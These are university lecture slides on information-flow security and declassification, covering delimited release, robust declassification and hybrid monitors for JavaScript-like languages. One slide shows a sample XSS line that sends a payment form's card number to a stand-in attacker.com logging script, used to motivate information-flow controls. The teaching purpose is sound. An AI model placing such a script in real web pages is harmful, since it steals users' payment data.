Course outline: the four hours

1. Language-Based Security: motivation
2. Language-Based Information-Flow Security: the big picture
3. Dimensions and principles of declassification
4. Combining the dimensions of declassification for dynamic languages
Part 3:
Dimensions of Declassification in Theory and Practice

Andrei Sabelfeld
Chalmers

partly based on joint work with
A. Askarov and D. Sands
Confidentiality: preventing information leaks

- Untrusted/buggy code should not leak sensitive information
- But some applications depend on intended information leaks
  - password checking
  - information purchase
  - spreadsheet computation
  - ...
- Some leaks must be allowed: need information release (or declassification)
Confidentiality vs. intended leaks

- Allowing leaks might compromise confidentiality
- Noninterference is violated
- How do we know secrets are not laundered via release mechanisms?
- Need for security assurance for programs with release
State-of-the-art

- relaxed noninterference
- admissibility
- conditioned noninterference
- robust declassification
- harmless flows
- partial security
- delimited release
- intransitive noninterference
- selective flows
- conditional noninterference
- abstract noninterference
- quantitative security
- noninterference “until”
- computational security
- constrained noninterference
- admissibility
- approximate noninterference
- relative secrecy
- conditioned noninterference
- delimited release
Dimensions of release

“Who”
- “Who”
- “Who”
- “Who”

“Where”
- “Where”
- “Where”
- “Where”

“What”
- “What”
- “What”
- “What”

- quantitative security
- selective flows
- harmless flows

- noninterference “until”
- relative secrecy
- partial security

- conditioned noninterference
- relaxed noninterference
- admissibility

- computational security
- abstract noninterference
- intransitive noninterference
- robust declassification

- approximate noninterference
- constrained noninterference
- admissibility
Principles of release

- Semantic consistency
- Conservativity
- Monotonicity
- Non-occlusion
What

- Noninterference [Goguen & Meseguer]: as high input varied, low-level outputs unchanged

- Selective (partial) flow
  - Noninterference within high sub-domains [Cohen’78, Joshi & Leino’00]
  - Equivalence-relations view [Sabelfeld & Sands’01]
  - Abstract noninterference [Giacobazzi & Mastroeni’04,’05]
  - Delimited release [Sabelfeld & Myers’04]

- Quantitative information flow [Denning’82, Clark et al.’02, Lowe’02]
Security lattice and noninterference

Security lattice: noninterference: flow from \( l \) to \( l' \) allowed when \( l \subseteq l' \)
Noninterference

• Noninterference [Goguen & Meseguer]: as high input varied, low-level outputs unchanged

\[ M_1 = \underline{L} M_2 \land \langle M_1, c \rangle \downarrow M_1' \land \langle M_2, c \rangle \downarrow M_2' \Rightarrow M_1' = \underline{L} M_2' \]

Low-memory equality: \[ M_1 = \underline{L} M_2 \iff M_1|_L = M_2|_L \]

• Language-based noninterference for \( c \):

Configuration with \( M_2 \) and \( c \)
Average salary

- Intention: release average
  \[
  \text{avg} := \text{declassify}((h_1 + \ldots + h_n)/n, \text{low});
  \]
- Flatly rejected by noninterference
- If accepting, how do we know declassify does not release more than intended?
- Essence of the problem: what is released?
- “Only declassified data and no further information”
- Expressions under declassify: “escape hatches”
Delimited release
[Sabelfeld & Myers, ISSS’03]

• Command c has expressions declassify(ei,L); c is secure if:

\[ M_1 =_L M_2 \land \left\langle M_1, c \right\rangle \downarrow M'_1 \land \left\langle M_2, c \right\rangle \downarrow M'_2 \land \forall i . eval(M_1, e_i) = eval(M_2, e_i) \Rightarrow M'_1 =_L M'_2 \]

⇒ security

• For programs with no declassification:
  Security ⇒ noninterference

if \( M_1 \) and \( M_2 \) are indistinguishable through all \( e_i \)...

...then the entire program may not distinguish \( M_1 \) and \( M_2 \)
Average salary revisited

• Accepted by delimited release:

\[
\text{avg} := \text{declassify}((h_1 + \ldots + h_n)/n, \text{low});
\]

\[
\text{temp} := h_1; h_1 := h_2; h_2 := \text{temp};
\]

\[
\text{avg} := \text{declassify}((h_1 + \ldots + h_n)/n, \text{low});
\]

• Laundering attack rejected:

\[
h_2 := h_1; \ldots; h_n := h_1;
\]

\[
\text{avg} := \text{declassify}((h_1 + \ldots + h_n)/n, \text{low});
\]

\[\sim \quad \text{avg} := h_1\]
Electronic wallet

- If enough money then purchase

\[
\text{if declassify}(h \geq k, \text{low}) \text{ then } (h := h-k; l := l+k);
\]

- Accepted by delimited release
Electronic wallet attack

• Laundering bit-by-bit attack ($h$ is an $n$-bit integer)

```
l:=0;
while(n≥0) do
  k:=2^{n-1};
  if declassify($h≥k$,low) then (h:=h-k; l:=l+k);
  n:=n-1;
```

• Rejected by delimited release
Security type system

- Basic idea: prevent new information from flowing into variables used in escape hatch expressions

```
\texttt{h:=...;}
...
\texttt{declassify(h,low)}
```

- Theorem:
  \[ c \text{ is typable} \implies c \text{ is secure} \]

```
\texttt{while \ldots \ do}
\texttt{declassify(h,low)}
...
\texttt{h:=...;}
```

may not use other (than h) high variables

may not use other (than h) high variables
Robust declassification in a language setting [Myers, Sabelfeld & Zdancewic'04/06]

Command $c[\bullet]$ has robustness if

$$\forall M_1, M_2, a, a'. \langle M_1, c[a] \rangle \approx_L \langle M_2, c[a] \rangle \Rightarrow \langle M_1, c[a'] \rangle \approx_L \langle M_2, c[a'] \rangle$$

If $a$ cannot distinguish between $M_1$ and $M_2$ through $c$ then no other $a'$ can distinguish between $M_1$ and $M_2$. Attacks
Robust declassification: examples

- Flatly rejected by noninterference, but secure programs satisfy robustness:

\[
[\bullet]; \ x_{LH} := \text{declassify}(y_{HH}, LH) \\
[\bullet]; \text{if } x_{LH} \text{ then } y_{LH} := \text{declassify}(z_{HH}, LH)
\]

- Insecure program:

\[
[\bullet]; \text{if } x_{LL} \text{ then } y_{LL} := \text{declassify}(z_{HH}, LH)
\]

is rejected by robustness
Enforcing robustness

- Security typing for declassification:

\[ \text{context must be high-integrity} \]

\[ \text{data must be high-integrity} \]

\[ \text{LH} \vdash e : \text{HH} \]

\[ \text{LH} \vdash \text{declassify}(e, l') : \text{LH} \]
Where

• Intransitive (non)interference
  – assurance for intransitive flow
    [Rushby’92, Pinsky’95, Roscoe & Goldsmith’99]
  – nondeterministic systems [Mantel’01]
  – concurrent systems [Mantel & Sands’04]
  – to be declassified data must pass a downgrader
    [Ryan & Schneider’99, Mullins’00, Dam & Giambiagi’00, Bossi et al.’04, Echahed & Prost’05, Almeida Matos & Boudol’05]
When

- **Time-complexity based attacker**
  - password matching [Volpano & Smith’00] and one-way functions [Volpano’00]
  - poly-time process calculi [Lincoln et al.’98, Mitchell’01]
  - impact on encryption [Laud’01,’03]

- **Probabilistic attacker** [DiPierro et al.’02, Backes & Pfitzmann’03]

- **Relative: specification-bound attacker** [Dam & Giambiagi’00,’03]

- **Non-interference “until”** [Chong & Myers’04]
Principle I

- Aid in modular design
- “What” definitions generally semantically consistent
- Uncovers semantic anomalies

Semantic consistency

The (in)security of a program is invariant under semantics-preserving transformations of declassification-free subprograms
Principle II

Security for programs with no declassification is equivalent to noninterference

• Straightforward to enforce (by definition); nevertheless:

• Noninterference “until” rejects

if \( h > h \) then \( l := 0 \)
Principle III

Monotonicity of release

Adding further declassifications to a secure program cannot render it insecure.

- Or, equivalently, an insecure program cannot be made secure by *removing* declassification annotations.

- "Where": intransitive noninterference (a la M&S) fails it; declassification actions are observable.

```plaintext
if h then declassify(l=l) else l=l
```
Principle IV

Occlusion

The presence of a declassification operation cannot mask other covert declassifications
Checking the principles

<table>
<thead>
<tr>
<th>What</th>
<th>Property</th>
<th>Semantic consistency</th>
<th>Conservativity</th>
<th>Monotonicity of release</th>
<th>Non-occlusion</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Partial release [Coh78, JL00, SS01, GM04, GM05]</td>
<td>✓</td>
<td>✓</td>
<td>N/A</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Delimited release [SM04]</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Relaxed noninterference [LZ05a]</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Naive release</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>×</td>
</tr>
<tr>
<td>Who</td>
<td>Robust declassification [MSZ04]</td>
<td>✓*</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Qualified robust declassification [MSZ04]</td>
<td>✓*</td>
<td>✓</td>
<td>✓</td>
<td>×</td>
</tr>
<tr>
<td>Where</td>
<td>Intransitive noninterference [MS04]</td>
<td>✓*</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
</tr>
<tr>
<td>When</td>
<td>Admissibility [DG00, GD03]</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Noninterference “until” [CM04]</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Typeless noninterference “until”</td>
<td>✓*</td>
<td>✓</td>
<td>×</td>
<td>×</td>
</tr>
</tbody>
</table>

* Semantic anomalies
Declassification in practice: A case study
[Askarov & Sabelfeld, ESORICS’05]

• Use of security-typed languages for implementation of crypto protocols
• Mental Poker protocol by [Roca et.al, 2003]
  – Environment of mutual distrust
  – Efficient
• Jif language [Myers et al., 1999-2005]
  – Java extension with security types
  – Decentralized Label Model
  – Support for declassification
• Largest code written in security-typed language up to publ date [~4500 LOC]
## Security assurance/Declassification

<table>
<thead>
<tr>
<th>Group</th>
<th>Pt.</th>
<th>What</th>
<th>Who</th>
<th>Where</th>
</tr>
</thead>
<tbody>
<tr>
<td>I</td>
<td>1</td>
<td>Public key for signature</td>
<td>Anyone</td>
<td>Initialization</td>
</tr>
<tr>
<td></td>
<td>2</td>
<td>Public security parameter</td>
<td>Player</td>
<td>Initialization</td>
</tr>
<tr>
<td>II</td>
<td>3</td>
<td>Message signature</td>
<td>Player</td>
<td>Sending msg</td>
</tr>
<tr>
<td></td>
<td>4-7</td>
<td>Protocol initialization data</td>
<td>Player</td>
<td>Initialization</td>
</tr>
<tr>
<td></td>
<td>8-10</td>
<td>Encrypted permuted card</td>
<td>Player</td>
<td>Card drawing</td>
</tr>
<tr>
<td>III</td>
<td>11</td>
<td>Decryption flag</td>
<td>Player</td>
<td>Card drawing</td>
</tr>
<tr>
<td>IV</td>
<td>12-13</td>
<td>Player’s secret encryption key</td>
<td>Player</td>
<td>Verification</td>
</tr>
<tr>
<td></td>
<td>14</td>
<td>Player’s secret permutation</td>
<td>Player</td>
<td>Verification</td>
</tr>
</tbody>
</table>

Group I – naturally public data  
Group II – required by crypto protocol  
Group III – success flag pattern  
Group IV – revealing keys for verification
Dimensions: Conclusion

- **Road map** of information release in programs
- **Step towards policy perimeter defense:** to protect along each dimension
- **Prudent principles** of declassification (uncovering previously unnoticed anomalies)
- **Need for declassification framework** for relation and combination along the dimensions
Part 4: Combining the Dimensions of Declassification for Dynamic Languages

Andrei Sabelfeld
Chalmers

joint work with A. Askarov
Payment information

Please provide payment information to confirm your shipment.

- Apply charges to my Freightquote.com account.
- PayPal
- I would like to pay by credit card.

Card name:
Card number:
Expiration date:
Name on card:

Pay for shipment
<!-- Input validation -->
<form name="cform" action="script.cgi" method="post" onsubmit="return checkform();">
<script type="text/javascript">
function checkform () {
...
}</script>

<!-- Payment information -->
Please provide payment information to confirm your shipment.
- Apply charges to my Freightquote.com account.
- PayPal
- I would like to pay by credit card.

Card name: [Input field]
Card number: [Input field]
Expiration date: [Input field] [Input field]
Name on card: [Input field]

Pay for shipment
Basic XSS attack

```html
<script>
new Image().src="http://attacker.com/log.cgi?card="+encodeURI(form.CardNumber.value);
</script>
```

- Root of the problem: information flow from secret to public
Root of problem: information flow

- Browser
- DOM tree
- Script
- Internet
Same origin policy (SOP)
Same origin policy (SOP) does not work
Information flow controls

Browser

DOM tree

Script

Internet
Information flow controls
Need for information release (declassification)
Flexible declassification policies

- **Server side:**
  - Auction sniper

  1. Amount
  2. Bid
  3. Amount > Bid

- **Client side:** currency converter

  release "Amount > Bid"
  and nothing else about Amount

  release max{Ti | Ti <= Amount}
  and nothing else about Amount

  T1 → Amount → T2
  T2 → T3 → ... → Tn
State of the art

- Practical
  - server-side
  - client-side
  - both server and client

- Lacking
  - soundness guarantees
  - declassification policies

- Formal
  - mostly static
  - soundness proofs
  - declassification policies

- Lacking
  - dynamic code evaluation
This work: bridging the gap

- **Declassification framework**
  - what is declassified
  - where it can be declassified

- **Enforcement**
  - dynamic code evaluation
  - communication
  - hybrid mechanism
    - dynamic tracking
    - on-the-fly static analysis
  - tight and modular

- **Termination channel**
  - support for both sensitive and insensitive
Semantics

• Assumptions
  – configurations $\text{cfg} = \langle c, m, E \rangle$
  – transition step $\text{cfg} \xrightarrow{\alpha} \text{cfg}'$ with low event $\alpha$
    $\alpha ::= l \mid \epsilon$
    $l ::= (x, v) \mid \downarrow$
  – trace $\text{cfg}_0 \xrightarrow{\alpha_1} \cdots \xrightarrow{\alpha_n} \text{cfg}_n$ generates $\vec{l} = \alpha_1 \ldots \alpha_n$

• Escape hatches $e$ are expressions in $\text{declassify}(e)$ describing what is released
Attacker’s knowledge

- Consider program run
- Initially
  - Low memories fixed
  - High memories unknown
- Knowledge $k(c, m_{\text{L}, \text{I}})$ can be refined over time
- Is this refinement secure?
- Only if it is allowed by declassification policy
From escape hatches to policies

\[
\begin{align*}
\{\} & \quad \{h1\} & \quad \{(h1+h2)/2\} \\
\begin{array}{ccccc}
5 & 7 & 0 & 0 & 0 \\
5 & 7 & 0 & 1 & 1 \\
5 & 7 & 0 & 2 & 2 \\
\vdots & & & & \\
5 & 7 & 1 & 0 & 0 \\
5 & 7 & 1 & 1 & 1 \\
5 & 7 & 1 & 2 & 2 \\
\end{array} & \\
\begin{array}{ccccc}
5 & 7 & 0 & 0 & 0 \\
5 & 7 & 0 & 1 & 1 \\
5 & 7 & 0 & 2 & 2 \\
\vdots & & & & \\
5 & 7 & 1 & 0 & 0 \\
5 & 7 & 1 & 1 & 1 \\
5 & 7 & 1 & 2 & 2 \\
\end{array} & \\
\begin{array}{ccccc}
5 & 7 & 0 & 1 & 1 \\
5 & 7 & 1 & 0 & 0 \\
5 & 7 & 2 & -1 & -1 \\
\vdots & & & & \\
5 & 7 & 0 & 1 & 1 \\
5 & 7 & 1 & 0 & 0 \\
5 & 7 & 1 & 2 & 2 \\
\end{array}
\end{align*}
\]

Policy \( p(m,E) \)
TSec: Termination-sensitive security

- Formally: \( p(m,E_i) \subseteq k(c,m,L_i) \) where \( E_i = \{e_1,\ldots,e_i\} \)
Examples

Allowed:
• Intended release
  – \( l := \text{declassify}(h) \)
• Delayed declassification
  – \( h' := h; \ h := 0; \ l := \text{declassify}(h); \ l := h' \)

Disallowed:
• Laundering
  – \( h := h'; \ l := \text{declassify}(h) \)
• Premature declassification
  – \( l := h; \ l := \text{declassify}(h) \)
• Termination leak
  – \((\text{while } h \text{ do skip}); \ l := 5\)
TISec: Termination-insensitive security

- Allow knowledge refinement at next low event
- Can only learn from knowing there is some next event
- Progress knowledge $\bigcup_{l'} k(c, m_L, \bar{l'} L)$
- TISec: $p(m, E_i) \cap \bigcup_{l'} k(c, m_L, \bar{l' i - 1 l'}) \subseteq k(c, m_L, \bar{1 i})$
- TISec accepts (while $h$ do skip); $l := 5$
- Channel bounds [Askarov, Hunt, Sabelfeld, Sands 2008]
  - attacker may not learn secret in poly time (in secret size)
  - probability of guessing the secret in poly time negligible
Modular enforcement

Program

\[ \text{cfg} \xrightarrow{\beta} \text{cfg}' \]
- \( \text{skip, } x := e \)
- \( x := \text{declassify}(y) \)
- if..., while...
- eval(e)

Actions \( \beta \)

- \( s \)
- \( a(x, v) \)
- \( d(x, e, m) \)
- \( b(e, c) \)
- \( w(e) \)
- \( f \)

Monitor

\[ \text{cfgm} \xrightarrow{\beta} \text{cfgm}' \]
TIM: Termination-insensitive monitor

• $\text{cfgm} = \langle i, o \rangle$
• prevent explicit flows $l := \text{m}$
• prevent implicit flows if $h$ then $l := 0$
  – by dynamic $\text{pc} = \text{highest level on context stack}$
• prevent laundering
  – deny declassification if escape hatch has changed value
• “eval” unproblematic
## Termination-insensitive monitor

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
<th>Stack update</th>
</tr>
</thead>
<tbody>
<tr>
<td>a(x,e)</td>
<td>$x$ and ($e$ or $pc$)</td>
<td></td>
</tr>
<tr>
<td>d(x,e,m)</td>
<td>$pc$ or $m(e) \neq i(e)$</td>
<td></td>
</tr>
<tr>
<td>b(e,c)</td>
<td></td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>w(e)</td>
<td></td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>f</td>
<td></td>
<td>pop</td>
</tr>
</tbody>
</table>
Examples

Accepted:
- Intended release
  - \( l := \text{declassify}(h) \) ✓
- Declassification
  - \( \text{temp} := h_1; h_1 := h_2; h_2 := \text{temp}; \text{avg} := \text{declassify}((h_1 + h_2)/2); \) ✓

Stopped:
- Laundering
  - \( h := h'; l := \text{declassify}(h) \)
- Premature declassification
  - \( l := h; l := \text{declassify}(h) \)
- Eval
  - (if \( h \) then \( s := \text{"l:=1"} \) else \( s := \text{"l:=0"} \)); eval(s)
Enforcing termination-sensitivity

• TIM insufficient
  – (while h do skip); l:=1
  – if h then l:=1
  – h:=h′; l:=declassify(h)
• Problematic when h=h′=0 initially
• Need on-the-fly static analysis to
  – prevent side effects in high contexts
  – prevent updates to variables involved in declassification
• Purely static enforcement would be too crude for “eval”
TM: Termination-sensitive monitor

- $\text{cfgm}=\langle o, U \rangle$
- prevent explicit flows $l:=h$
- prevent implicit flows if $h$ then $l:=0$
  - no low side effects in branches
- prevent laundering
  - deny declassification if variable involved in declassification might have been updated
  - on-the-fly version of type system for delimited release [Sabelfeld & Myers’03]
- termination channel
  - no while loops with high guards
  - no eval/loop in ifs with high guards
### Termination-sensitive monitor

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
<th>stop if</th>
<th>stack update</th>
</tr>
</thead>
<tbody>
<tr>
<td>(a(x,e))</td>
<td></td>
<td>(x \text{ and } e)</td>
<td>(U' = U \cup {x})</td>
</tr>
<tr>
<td>(d(x,e,m))</td>
<td></td>
<td>(\text{vars}(e) \cap U \neq \emptyset)</td>
<td>(U' = U \cup {x})</td>
</tr>
<tr>
<td>(b(e,c))</td>
<td></td>
<td></td>
<td>push(\text{low})</td>
</tr>
<tr>
<td>(b(e,c))</td>
<td></td>
<td>(\text{side}(c) \text{ or eval}(c) \text{ or loop}(c))</td>
<td>push(\text{high}) (U' = U \cup \text{up}(c))</td>
</tr>
<tr>
<td>(w(e))</td>
<td></td>
<td></td>
<td>push(\text{low})</td>
</tr>
<tr>
<td>(f)</td>
<td></td>
<td></td>
<td>pop 55</td>
</tr>
</tbody>
</table>
Enforcement: dynamic and hybrid

- $l := h$
- if $h$ then $l := 1$
- while $h$ do skip
- if $h$ then eval("$l := 1$")

- if $h$ then eval("skip")
- $l := \text{declassify}(\text{Amount} > \text{Bid}); \text{sendBid(}\text{Amount})$
- $l := \text{declassify}(\max\{\text{Ti} \mid \text{Ti} \leq \text{Amount}\}); \text{reqExRate}(l)$
Enforcement: dynamic and hybrid

- if \( h \) then \( s := "l := 1" \) else \( s := "l := 0" \); eval(s)

- \( \text{temp} := h_1; h_1 := h_2; h_2 := \text{temp}; \)
  \( \text{avg} := \text{declassify}((h_1 + \ldots + h_n)/n); \)
Communication

- Modular extension
- Model I/O for simplicity
- Output straightforward
  - low events observable
- Input history to track reference memories for escape hatches
- Treating input as update too conservative

```
input(password, high);
i := 0; ok := 0;
while i < 3 {
    input (guess, low);
    ok := declassify (password == guess);
    if ok then { i:=3; } else { i:=i+1; }
}
output(ok);
```
Semantics

- Configurations $\text{cfg} = \langle c, m, E, L, H, s \rangle$
- Channels as streams
  - whether streams or strategies makes no difference for deterministic programs [Clark & Hunt’07]
  - input history $s = (ch, x)(ch’, x’)$...
- Low events include communication
  \[l::=\ldots | (I, x, v) | (O, v)\]
- Escape hatches $(e, r)$ where $e$ is declassified $r$ is the length of input history at declassification time
Attacker’s knowledge

- Consider run where initially

<table>
<thead>
<tr>
<th>low streams</th>
<th>high streams</th>
<th>memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>In</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4 6</td>
<td>9 42</td>
<td>5 7 0 1</td>
</tr>
<tr>
<td>8 1</td>
<td>4 42</td>
<td></td>
</tr>
</tbody>
</table>

- Knowledge $k(c, m_L, L, \vec{l})$
From escape hatches to policies

<table>
<thead>
<tr>
<th>memory</th>
<th>low streams</th>
<th>high in</th>
<th>high out</th>
</tr>
</thead>
<tbody>
<tr>
<td>5 7 0 0</td>
<td></td>
<td>0 42</td>
<td></td>
</tr>
<tr>
<td>5 7 0 1</td>
<td></td>
<td>1 42</td>
<td></td>
</tr>
<tr>
<td>5 7 0 2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td></td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>5 7 1 0</td>
<td></td>
<td>0 0</td>
<td></td>
</tr>
<tr>
<td>5 7 1 1</td>
<td></td>
<td>0 1</td>
<td></td>
</tr>
<tr>
<td>5 7 1 2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td></td>
<td>...</td>
<td></td>
</tr>
</tbody>
</table>

Escape hatch 

\( \text{in}(h,H); \) 
\( \text{in}(h,H); \) 
\( l := \text{declassify}(h) \)

memory streams
Security

- **TSec:**
  \[ p(m, L, H, E_i, s_i) \subseteq k(c, m_L, L, \hat{l}_i) \]

- **TISec:**
  \[ p(m, L, H, E_i, s_i) \cap \bigcup_{l'} k(c, m_L, L, \hat{l}_{i-1}, l') \subseteq k(c, m_L, L, \hat{l}_i) \]
Examples

Allowed:

\begin{align*}
\text{in}(h,H); \\
\text{in}(h,H); \\
h' &:= h; \\
l &:= \text{declassify}(h); \\
l &:= h'
\end{align*}

Disallowed:

\begin{align*}
\text{in}(h,H); \\
h' &:= h; \\
\text{in}(h,H); \\
l &:= \text{declassify}(h); \\
l &:= h'
\end{align*}
### TIM: Termination-insensitive monitor

![cfgm=\langle i, o \rangle]

<table>
<thead>
<tr>
<th>Action</th>
<th>Monitor’s reaction</th>
<th>Stack update</th>
</tr>
</thead>
<tbody>
<tr>
<td>a(x,e)</td>
<td>x and (e or pc)</td>
<td></td>
</tr>
<tr>
<td>d(x,e,m)</td>
<td>pc or m(e) ≠ i(e)</td>
<td></td>
</tr>
<tr>
<td>b(e,c)</td>
<td></td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>w(e)</td>
<td></td>
<td>push(lev(e))</td>
</tr>
<tr>
<td>f</td>
<td></td>
<td>pop</td>
</tr>
<tr>
<td>i(x,v)</td>
<td>pc</td>
<td>i[x ↦ v]</td>
</tr>
<tr>
<td>o(e)</td>
<td>e or pc</td>
<td></td>
</tr>
<tr>
<td>Action</td>
<td>$\text{cfgm}=\langle o, U \rangle$</td>
<td>Monitor’s reaction</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------</td>
<td>------------------</td>
</tr>
<tr>
<td>$a(x,e)$</td>
<td>$x$ and $e$</td>
<td>$U'=U\cup{x}$</td>
</tr>
<tr>
<td>$d(x,e,m)$</td>
<td>$\text{vars}(e) \cap U \neq \emptyset$</td>
<td>$U'=U\cup{x}$</td>
</tr>
<tr>
<td>$b(e,c)$</td>
<td></td>
<td></td>
</tr>
<tr>
<td>$b(e,c)$</td>
<td>$\text{side}(c)$ or $\text{eval}(c)$ or $\text{loop}(c)$</td>
<td></td>
</tr>
<tr>
<td>$w(e)$</td>
<td></td>
<td></td>
</tr>
<tr>
<td>$f$</td>
<td></td>
<td></td>
</tr>
<tr>
<td>$i(x,v)$</td>
<td></td>
<td></td>
</tr>
<tr>
<td>$o(e)$</td>
<td>$e$</td>
<td></td>
</tr>
</tbody>
</table>
Auction sniper

- Bids can be changed dynamically
- Accepted by both monitors (hence TSec)
Related work

- Monitoring
  - [Le Guernic et al.’06,’07][Shroff et al.’07]
  - no dynamic code evaluation
  - no declassification

- Declassification
  - what & where of declassification
  - subsume gradual release [Askarov & Sabelfeld’07a]
  - subsume localized delimited release [Askarov & Sabelfeld’07b]
  - timing-sensitive what & where definitions [Mantel & Reinhard’07]
  - what wrt current state & where [Banerjee et al.’08, Barthe et al.’08]
    - accept h:=h’; l:=declassify(h) which we reject as laundering

- Information flow for web security
  - Perl/PHP/Ruby taint mode
    - not tracking implicit flows
  - Tainting and static analysis [Huang et al.’04, Vogt et al.’07, Chandra & Franz’07,…]
    - no soundness arguments
    - no declassification support
Case study by Vogt et al. [NDSS’07]

- Extended Firefox with hybrid “tainting” for JavaScript
- Sensitive information (spec from Netscape Navigator 3.0)
- User prompted an alert when tainted date affects connections outside origin domain
- Crawled >1M pages
- ~8% triggered alert
- reduced to ~1% after whitelisting top 30 statistics sites (as google-analytics.com)

<table>
<thead>
<tr>
<th>Object</th>
<th>Tainted properties</th>
</tr>
</thead>
<tbody>
<tr>
<td>document</td>
<td>cookie, domain, forms, lastModified, links, referrer, title, URL</td>
</tr>
<tr>
<td>Form</td>
<td>action</td>
</tr>
<tr>
<td>any form input element</td>
<td>checked, defaultChecked, defaultValue, name, selectedIndex, toString, value</td>
</tr>
<tr>
<td>history</td>
<td>current, next, previous, toString</td>
</tr>
<tr>
<td>Select option</td>
<td>defaultSelected, selected, text, value</td>
</tr>
<tr>
<td>location and Link</td>
<td>hash, host, hostname, href, pathname, port, protocol, search, toString</td>
</tr>
<tr>
<td>window</td>
<td>defaultStatus, status</td>
</tr>
</tbody>
</table>
Results

- Hybrid enforcement for a web-like language
  - monitoring with “on-the-fly” static analysis
  - “eval”
  - communication

- Soundness
  - knowledge-based attacker
    TIM $\Rightarrow$ TISec
  - covert channels (termination)
    TM $\Rightarrow$ TSec
  - declassification

- Flexible declassification policies
  - what & where of information release
References

- Declassification: Dimensions and Principles
  [Sabelfeld & Sands, JCS]
- Tight Enforcement of Flexible Information-Release Policies for Dynamic Languages
  [Askarov & Sabelfeld]
Course summary

• Language-based security
  – from off-beat ideas to mainstream technology in just a few years
  – high potential for web-application security

• Declassification
  – dimensions and principles
  – combining dimensions key to security policies

• Enforcement
  – type-based for “traditional languages”
  – dynamic and hybrid for dynamic languages